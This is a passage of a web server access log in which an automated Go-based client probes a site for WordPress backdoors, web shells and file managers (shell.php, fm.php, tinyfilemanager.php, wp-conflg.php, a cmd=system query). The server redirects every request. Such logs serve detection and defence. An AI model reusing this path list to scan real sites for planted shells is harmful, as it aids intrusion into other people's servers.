[22/Jan/2026:19:31:34 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:39 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:41 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:46 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:50 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:55 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:01 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:06 +0300] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:11 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:16 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:22 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:23 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:28 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:31 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:33 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:39 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:43 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:44 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:48 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:52 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:32:57 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.169 - - [22/Jan/2026:19:33:02 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.107 - - [22/Jan/2026:19:33:08 +0300] "GET /network_xo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.157 - - [22/Jan/2026:19:33:13 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.140 - - [22/Jan/2026:19:33:18 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:28 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:32 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:37 +0300] "GET /wp-includes/css/dist/block-directory/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:38 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:39 +0300] "GET /wp-content/plugins/phpad/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:44 +0300] "GET /wp-admin/user/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:49 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:54 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:55 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:00 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:05 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:06 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:11 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:12 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:13 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:18 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:23 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:28 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:28 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:29 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:34 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:39 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:44 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:49 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:54 +0300] "GET /wp-content/themes/twentytwentyfive/styles/typography/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:56 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:58 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:38:58 +0300] "GET /wp-content/plugins/twenty/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:03 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:08 +0300] "GET /wp-content/cache/et/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:13 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:18 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:23 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:28 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:33 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:35 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:40 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:45 +0300] "GET /wp-includes/block-bindings/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:51 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:52 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:57 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:39:58 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:03 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:04 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:09 +0300] "GET /wp-admin/m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:14 +0300] "GET /img/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:19 +0300] "GET /wp-includes/blocks/comments-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:20 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:21 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:26 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:31 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:36 +0300] "GET /wp-includes/rest-api/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:41 +0300] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:46 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:51 +0300] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:40:56 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:01 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:06 +0300] "GET /wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:11 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:12 +0300] "GET /wp-admin/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:15 +0300] "GET /wp-content/vudel/list.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:20 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:25 +0300] "GET /wp-content/themes/hello-elementor/assets/css/lightbox.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:30 +0300] "GET /wp-content/plugins/advanced-custom-fields/includes/walkers/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:35 +0300] "GET /wp-content/plugins/elementor/includes/controls/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:40 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:45 +0300] "GET /wp-content/well-known/acme-challenge/c/e/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:50 +0300] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:41:56 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:01 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:06 +0300] "GET /wp-includes/SimplePie/library/SimplePie/Content/Type/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:11 +0300] "GET /man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:16 +0300] "GET /wp-content/zoom1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:21 +0300] "GET /wp-content/themes/astra/inc/compatibility/lifterlms/customizer/sections/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:26 +0300] "GET /wp-content/themes/astra/inc/customizer/custom-controls/assets/js/unminified/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:31 +0300] "GET /wp-content/themes/astra/inc/customizer/custom-controls/assets/css/minified/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:36 +0300] "GET /wp-content/themes/astra/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:41 +0300] "GET /wp-content/uploads/astra-addon/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:46 +0300] "GET /wp-includes/Text/wp-mails.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:50 +0300] "GET /wp-includes/SimplePie/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:55 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:42:56 +0300] "GET /wp-content/languages/plugins/js/crd/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:01 +0300] "GET /wp-content/themes/twentytwentyfour/uploads/isc/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:06 +0300] "GET /wp-includes/js/thickbox/img/docs/includes/data/tmp/klo/aawl/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:11 +0300] "GET /wp-content/themes/wp-pridmag/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:16 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:17 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:18 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:20 +0300] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:21 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:21 +0300] "GET /wp-includes/blocks/audio/go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:25 +0300] "GET /wp-includes/ID3/imagess.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:30 +0300] "GET /wp-admin/network/imagess.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:35 +0300] "GET /wp-admin/maint/let.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:40 +0300] "GET /wp-admin/go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:45 +0300] "GET /wp-admin/user/huan.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:50 +0300] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:43:55 +0300] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:00 +0300] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:05 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:10 +0300] "GET /wp-content/plugins/loarrfh/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:15 +0300] "GET /wp-content/plugins/foogallery/foogallery.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:20 +0300] "GET /wp-content/plugins/404-solution/404-solution.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:25 +0300] "GET /wp-content/plugins/duplicator/src/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:30 +0300] "GET /wp-content/plugins/admin-menu-search/admin-menu-search.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:35 +0300] "GET /wp-content/plugins/admin-site-enhancements/admin-site-enhancements.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:40 +0300] "GET /wp-content/plugins/members/members.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:45 +0300] "GET /wp-content/plugins/performance-lab/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:50 +0300] "GET /wp-content/plugins/performance-lab/includes/admin/tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:44:56 +0300] "GET /wp-content/plugins/tinymce-advanced/tinymce-advanced.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:01 +0300] "GET /wp-content/themes/fitnessbase/inc/customizer/al.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:06 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:11 +0300] "GET /wp-content/themes/hello-elementor/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:17 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:21 +0300] "GET /wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:27 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:32 +0300] "GET /wp-content/plugins/Iitespeed-cache/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:37 +0300] "GET /wp-content/uploads/woocommerce_uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:42 +0300] "GET /wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:47 +0300] "GET /wp-content/adca.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:52 +0300] "GET /wp-content/maintenance/bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:45:57 +0300] "GET /wp-admin/js/widgets/html-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:02 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:07 +0300] "GET /wp-content/plugins/siteorigin-panels/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:12 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:17 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:22 +0300] "GET /wp-content/themes/hello-elementor/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:27 +0300] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:29 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:31 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:36 +0300] "GET /wp-includes/blocks/post-template/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:41 +0300] "GET /wp-includes/css/dist/components/style-rtl.min_42.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:46 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:47 +0300] "GET /wp-includes/SimplePie/Credit_74.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:52 +0300] "GET /wp-content/plugins/akismet/_40.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:46:57 +0300] "GET /wp-admin/css/colors/coffee/colors_26.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:02 +0300] "GET /wp-includes/fonts/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:07 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:10 +0300] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:15 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:16 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:17 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:18 +0300] "GET /wp-admin/js/widgets/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:23 +0300] "GET /wp-admin/theme-editor-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:28 +0300] "GET /wp-content/plugins/LayerSlider/assets/static/codemirror/addon/hint/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:33 +0300] "GET /wp-content/plugins/LayerSlider/assets/static/layerslider/skins/carousel/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:38 +0300] "GET /wp-content/plugins/fusion-core/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:43 +0300] "GET /wp-content/plugins/themely/img/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:48 +0300] "GET /wp-includes/blocks/page-list-item/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:53 +0300] "GET /wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Validator/Spec/DescendantTagList/HeaRk.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:47:57 +0300] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:02 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:07 +0300] "GET /prayer_intentions.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:12 +0300] "GET /images/data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:17 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:22 +0300] "GET /wp-includes/block-supports/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:27 +0300] "GET /wp-includes/sodium_compat/lib/v3/dist/build/build/cache.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:32 +0300] "GET /wp-content/plugins/post-views-counter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:38 +0300] "GET /wp-admin/user/media/dwv/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:43 +0300] "GET /wp-includes/customize/zoom1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:48 +0300] "GET /wp-content/fonts/roboto/wp-admins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:53 +0300] "GET /wp-content/themes/flatsome/wp-kgg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:48:58 +0300] "GET 